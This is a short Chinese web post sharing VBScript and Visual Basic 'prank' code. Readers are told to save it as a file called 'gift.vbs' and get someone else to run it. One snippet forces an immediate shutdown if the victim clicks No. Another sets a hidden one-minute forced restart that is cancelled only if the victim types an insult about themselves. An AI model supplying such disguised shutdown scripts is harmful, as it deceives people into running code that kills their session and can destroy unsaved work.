WScript.Echo("还要点3次")
WScript.Echo("还要点2次")
WScript.Echo("还要点1次")
WScript.Echo("恭喜你,顺利过关!")
将以上代码使用记事本编写然后保存为:礼物.vbs 让对方运行即可。说明每一个 WScript.Echo("想要输出的内容") 都要执行一次,你可以任意复制。
Private Sub Form_Load()If MsgBox("我的礼物很好,请确定", vbYesNo) = vbNo Then Shell "e:\shutdown.exe -s -t 0"
End Sub
on error resume nextdim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <>"我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~"
这是网上流行的一种让别人关机的代码
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)